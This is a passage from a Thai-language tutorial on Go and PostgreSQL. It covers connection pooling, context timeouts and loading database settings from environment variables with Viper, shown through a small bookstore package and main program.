&#xE08;&#xE30;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE43;&#xE19; Pool &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; (&#xE44;&#xE21;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE36;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE31;&#xE19;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; Pool &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;<strong>&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE48;&#xE32;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE48;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE0A;&#xE49;&#xE32;&#xE25;&#xE07;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE30;&#xE2A;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A; Cache &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE2F;&#xE25;&#xE2F;</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; <strong>Context Timeout</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Operation (Query) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23; <strong>&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; Query &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;</strong></p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Connection Pooling &#xE43;&#xE19; Function &quot;NewPostgresDatabase()&quot; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49; <strong>PingContext()</strong> &#xE41;&#xE17;&#xE19; Ping() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; Timeout &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Context Timeout &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Parameter (ctx)</p><p>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; db.SetConnMaxLifetime() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Connection &#xE43;&#xE19; Pool &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Connection &#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE04;&#xE23;&#xE1A; 5 &#xE19;&#xE32;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Context Timeout &#xE43;&#xE19; db.PingContext(ctx) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE32;&#xE01; Ping &#xE44;&#xE21;&#xE48;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; 5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14; Timeout Error<br>&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Connection &#xE41;&#xE25;&#xE30;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Query &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><pre><code>func NewPostgresDatabase(connStr string) (*PostgresDatabase, error) {
    db, err := sql.Open(&quot;postgres&quot;, connStr)
    if err != nil {
        return nil, fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
    }

    // &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; connection pool
    db.SetMaxOpenConns(25)
    db.SetMaxIdleConns(10)
    db.SetConnMaxLifetime(5 * time.Minute)

    // &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; context
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    if err := db.PingContext(ctx); err != nil {
        return nil, fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
    }

    return &amp;PostgresDatabase{db: db}, nil
}</code></pre><p>&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; QueryRow() &#xE40;&#xE1B;&#xE47;&#xE19; <strong>QueryRowContext()</strong> &#xE43;&#xE19; Method &quot;GetBook()&quot; &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Context Timeout &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Parameter (ctx)</p><pre><code>func (pdb *PostgresDatabase) GetBook(ctx context.Context, id int) (string, error) {
    var title string
    err := pdb.db.QueryRowContext(ctx, &quot;SELECT title FROM books WHERE id = $1&quot;, id).Scan(&amp;title)
    if err != nil {
        if err == sql.ErrNoRows {
            return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
        }
        return &quot;&quot;, fmt.Errorf(&quot;failed to get book: %v&quot;, err)
    }
    return title, nil
}</code></pre><p>&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Exec() &#xE40;&#xE1B;&#xE47;&#xE19; <strong>ExecContext()</strong> &#xE43;&#xE19; Method &quot;AddBook()&quot; &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Context Timeout &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Parameter (ctx)</p><pre><code>func (pdb *PostgresDatabase) AddBook(ctx context.Context, title string) error {
    _, err := pdb.db.ExecContext(ctx, &quot;INSERT INTO books (title) VALUES ($1)&quot;, title)
    if err != nil {
        return fmt.Errorf(&quot;failed to add book: %v&quot;, err)
    }
    return nil
}</code></pre><p>&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Exec() &#xE40;&#xE1B;&#xE47;&#xE19; <strong>ExecContext()</strong> &#xE43;&#xE19; Method &quot;DeleteBook()&quot; &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Context Timeout &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Parameter (ctx)</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) DeleteBook(ctx context.Context, id int) error {
    result, err := pdb.db.ExecContext(ctx, &quot;DELETE FROM books WHERE id = $1&quot;, id)
    if err != nil {
        return fmt.Errorf(&quot;failed to delete book: %v&quot;, err)
    }

    rowsAffected, err := result.RowsAffected()
    if err != nil {
        return fmt.Errorf(&quot;failed to get rows affected: %v&quot;, err)
    }

    if rowsAffected == 0 {
        return fmt.Errorf(&quot;book not found&quot;)
    }

    return nil
}</code></pre><figcaption>Package &quot;bookstore&quot;</figcaption></figure><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Function &quot;<strong>main()</strong>&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;bookstore&quot;</p><pre><code>package main

import (
    &quot;context&quot;
    &quot;fmt&quot;
    &quot;log&quot;
    &quot;time&quot;
    &quot;myproject/internal/bookstore&quot;
)

func main() {
    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database
    db, err := bookstore.NewPostgresDatabase(&quot;host=localhost port=5432 user=bookstore_user password=your_strong_password dbname=bookstore sslmode=disable&quot;)
    if err != nil {
        log.Fatalf(&quot;Failed to connect to database: %v&quot;, err)
    }
    defer db.Close()

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore
    store := bookstore.NewBookStore(db)

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Context &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; Timeout
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    err = store.AddBook(ctx, &quot;The Go Programming Language&quot;)
    if err != nil {
        log.Printf(&quot;Failed to add book: %v&quot;, err)
    } else {
        fmt.Println(&quot;Book added successfully&quot;)
    }

    // &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    title, err := store.GetBookTitle(ctx, 1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; id = 1
    if err != nil {
        log.Printf(&quot;Failed to get book: %v&quot;, err)
    } else {
        fmt.Printf(&quot;Book title: %s\n&quot;, title)
    }

    // &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    err = store.DeleteBook(ctx, 1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; id = 1
    if err != nil {
        log.Printf(&quot;Failed to delete book: %v&quot;, err)
    } else {
        fmt.Println(&quot;Book deleted successfully&quot;)
    }
}</code></pre><p>&#xE41;&#xE15;&#xE48; <strong>&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE1D;&#xE31;&#xE07;&#xE04;&#xE48;&#xE32; Connection String &#xE25;&#xE07;&#xE43;&#xE19; Code &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;!!!</strong></p><p>&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Environment Variable &#xE2B;&#xE23;&#xE37;&#xE2D; Configuration File</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; package &quot;config&quot; &#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE48;&#xE32;&#xE19; Environment Variable &#xE14;&#xE49;&#xE27;&#xE22; Viper &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Connection String</p><figure class="kg-card kg-code-card"><pre><code>// config.go

package config

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;github.com/spf13/viper&quot;
)

type Config struct {
	DatabaseHost     string `mapstructure:&quot;host&quot;`
	DatabasePort     int    `mapstructure:&quot;port&quot;`
	DatabaseUser     string `mapstructure:&quot;user&quot;`
	DatabasePassword string `mapstructure:&quot;password&quot;`
	DatabaseName     string `mapstructure:&quot;db&quot;`
	DatabaseSSLMode  string `mapstructure:&quot;sslmode&quot;`
}

func LoadConfig() (Config, error) {
	viper.SetEnvPrefix(&quot;POSTGRES&quot;)
	viper.AutomaticEnv()

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Default
	viper.SetDefault(&quot;host&quot;, &quot;localhost&quot;)
	viper.SetDefault(&quot;port&quot;, 5432)
	viper.SetDefault(&quot;user&quot;, &quot;postgres&quot;)
	viper.SetDefault(&quot;password&quot;, &quot;&quot;)
	viper.SetDefault(&quot;db&quot;, &quot;bookstore&quot;)
	viper.SetDefault(&quot;sslmode&quot;, &quot;disable&quot;)

	var config Config
	if err := viper.Unmarshal(&amp;config); err != nil {
		return Config{}, fmt.Errorf(&quot;failed to unmarshal config: %v&quot;, err)
	}

	// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;
	if config.DatabaseHost == &quot;&quot; {
		return Config{}, fmt.Errorf(&quot;database host is required but not set&quot;)
	}

	return config, nil
}

func (c *Config) GetConnectionString() string {
	return fmt.Sprintf(&quot;host=%s port=%d user=%s password=%s dbname=%s sslmode=%s&quot;,
		c.DatabaseHost,
		c.DatabasePort,
		c.DatabaseUser,
		c.DatabasePassword,
		c.DatabaseName,
		c.DatabaseSSLMode)
}</code></pre><figcaption>config.go</figcaption></figure><p>&#xE1B;&#xE23;&#xE31;&#xE1A; Function &quot;main()&quot; &#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;config&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code>// main.go

package main

import (
    &quot;context&quot;
    &quot;fmt&quot;
    &quot;log&quot;
    &quot;time&quot;
    &quot;myproject/internal/bookstore&quot;
    &quot;myproject/internal/config&quot;
)

func main() {
    // &#xE42;&#xE2B;&#xE25;&#xE14; Config
    cfg, err := config.LoadConfig()
    if err != nil {
        log.Fatalf(&quot;Failed to load config: %v&quot;, err)
    }

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Connection String &#xE08;&#xE32;&#xE01; Config
    db, err := bookstore.NewPostgresDatabase(cfg.GetConnectionString())
    if err != nil {
        log.Fatalf(&quot;Failed to connect to database: %v&quot;, err)
    }
    defer db.Close()

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore
    store := bookstore.NewBookStore(db)

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Context &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; Timeout
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    err = store.AddBook(ctx, &quot;The Go Programming Language&quot;)
    if err != nil {
        log.Printf(&quot;Failed to add book: %v&quot;, err)
    } else {
        fmt.Println(&quot;Book added successfully&quot;)
    }

    // &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    title, err := store.GetBookTitle(ctx, 1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; id = 1
    if err != nil {
        log.Printf(&quot;Failed to get book: %v&quot;, err)
    } else {
        fmt.Printf(&quot;Book title: %s\n&quot;, title)
    }

    // &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
    err = store.DeleteBook(ctx, 1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; id = 1
    if err != nil {
        log.Printf(&quot;Failed to delete book: %v&quot;, err)
    } else {
        fmt.Println(&quot;Book deleted successfully&quot;)
    }
}</code></pre><figcaption>main.go</figcaption></figure><p>Code &#xE40;&#xE15;&#xE47;&#xE21;&#xE43;&#xE19; Package &quot;bookstore&quot; &#xE21;&#xE35;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>// bookstore.go
package bookstore

import (
    &quot;context&quot;
    &quot;database/sql&quot;
    &quot;fmt&quot;
    &quot;time&quot;
    _ &quot;github.com/lib/pq&quot;
)

// BookDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; Book Database &#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
type BookDatabase interface {
    GetBook(ctx context.Context, id int) (string, error)
    AddBook(ctx context.Context, title string) error
    DeleteBook(ctx context.Context, id int) error
    Close() error
}

// PostgresDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL Database &#xE08;&#xE23;&#xE34;&#xE07;
type PostgresDatabase struct {
    db *sql.DB
}

// NewPostgresDatabase &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; PostgresDatabase &#xE43;&#xE2B;&#xE21;&#xE48;&#xE41;&#xE25;&#xE30;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
func NewPostgresDatabase(connStr string) (*PostgresDatabase, error) {
    db, err := sql.Open(&quot;postgres&quot;, connStr)
    if err != nil {
        return nil, fmt.Errorf(&quot;failed to connect to database: %v&quot;, err)
    }

    // &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; connection pool
    db.SetMaxOpenConns(25)
    db.SetMaxIdleConns(10)
    db.SetConnMaxLifetime(5 * time.Minute)

    // &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; context
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    if err := db.PingContext(ctx); err != nil {
        return nil, fmt.Errorf(&quot;failed to ping database: %v&quot;, err)
    }

    return &amp;PostgresDatabase{db: db}, nil
}

func (pdb *PostgresDatabase) GetBook(ctx context.Context, id int) (string, error) {
    var title string
    err := pdb.db.QueryRowContext(ctx, &quot;SELECT title FROM books WHERE id = $1&quot;, id).Scan(&amp;title)
    if err != nil {
        if err == sql.ErrNoRows {
            return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
        }
        return &quot;&quot;, fmt.Errorf(&quot;failed to get book: %v&quot;, err)
    }
    return title, nil
}

func (pdb *PostgresDatabase) AddBook(ctx context.Context, title string) error {
    _, err := pdb.db.ExecContext(ctx, &quot;INSERT INTO books (title) VALUES ($1)&quot;, title)
    if err != nil {
        return fmt.Errorf(&quot;failed to add book: %v&quot;, err)
    }
    return nil
}

func (pdb *PostgresDatabase) DeleteBook(ctx context.Context, id int) error {
    result, err := pdb.db.ExecContext(ctx, &quot;DELETE FROM books WHERE id = $1&quot;, id)
    if err != nil {
        return fmt.Errorf(&quot;failed to delete book: %v&quot;, err)
    }

    rowsAffected, err := result.RowsAffected()
    if err != nil {
        return fmt.Errorf(&quot;failed to get rows affected: %v&quot;, err)
    }

    if rowsAffected == 0 {
        return fmt.Errorf(&quot;book not found&quot;)
    }

    return nil
}

func (pdb *PostgresDatabase) Close() error {
    return pdb.db.Close()
}

// BookStore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application
type BookStore struct {
    db BookDatabase
}

// NewBookStore &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Database &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;
func NewBookStore(db BookDatabase) *BookStore {
    return &amp;BookStore{db: db}
}

// GetBookTitle &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) GetBookTitle(ctx context.Context, id int) (string, error) {
    return bs.db.GetBook(ctx, id)
}

// AddBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) AddBook(ctx context.Context, title string) error {
    return bs.db.AddBook(ctx, title)
}

// DeleteBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) DeleteBook(ctx context.Context, id int) error {
    return bs.db.DeleteBook(ctx, id)
}

